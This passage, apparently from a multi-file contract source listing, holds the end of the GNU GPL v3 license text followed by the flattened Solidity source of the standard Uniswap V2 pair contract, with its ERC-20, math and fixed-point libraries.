copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: <program> Copyright (C) <year> <name of author> This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see <http://www.gnu.org/licenses/>. The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read <http://www.gnu.org/philosophy/why-not-lgpl.html>. */
File 3 of 6: UniswapV2Pair
// File: contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: contracts/interfaces/IUniswapV2ERC20.sol pragma solidity >=0.5.0; interface IUniswapV2ERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; } // File: contracts/libraries/SafeMath.sol pragma solidity =0.5.16; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: contracts/UniswapV2ERC20.sol pragma solidity =0.5.16; contract UniswapV2ERC20 is IUniswapV2ERC20 { using SafeMath for uint; string public constant name = 'Uniswap V2'; string public constant symbol = 'UNI-V2'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // File: contracts/libraries/Math.sol pragma solidity =0.5.16; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // File: contracts/libraries/UQ112x112.sol pragma solidity =0.5.16; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // File: contracts/interfaces/IERC20.sol pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: contracts/interfaces/IUniswapV2Factory.sol pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File: contracts/interfaces/IUniswapV2Callee.sol pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } // File: contracts/UniswapV2Pair.sol pragma solidity =0.5.16; contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 { using SafeMath for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(5).add(rootKLast); uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20(token0).balanceOf(address(this)); uint balance1 = IERC20(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20(_token0).balanceOf(address(this)); uint balance1 = IERC20(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20(_token0).balanceOf(address(this)); balance1 = IERC20(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3)); uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3)); require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1); } }
File 4 of 6: BOME
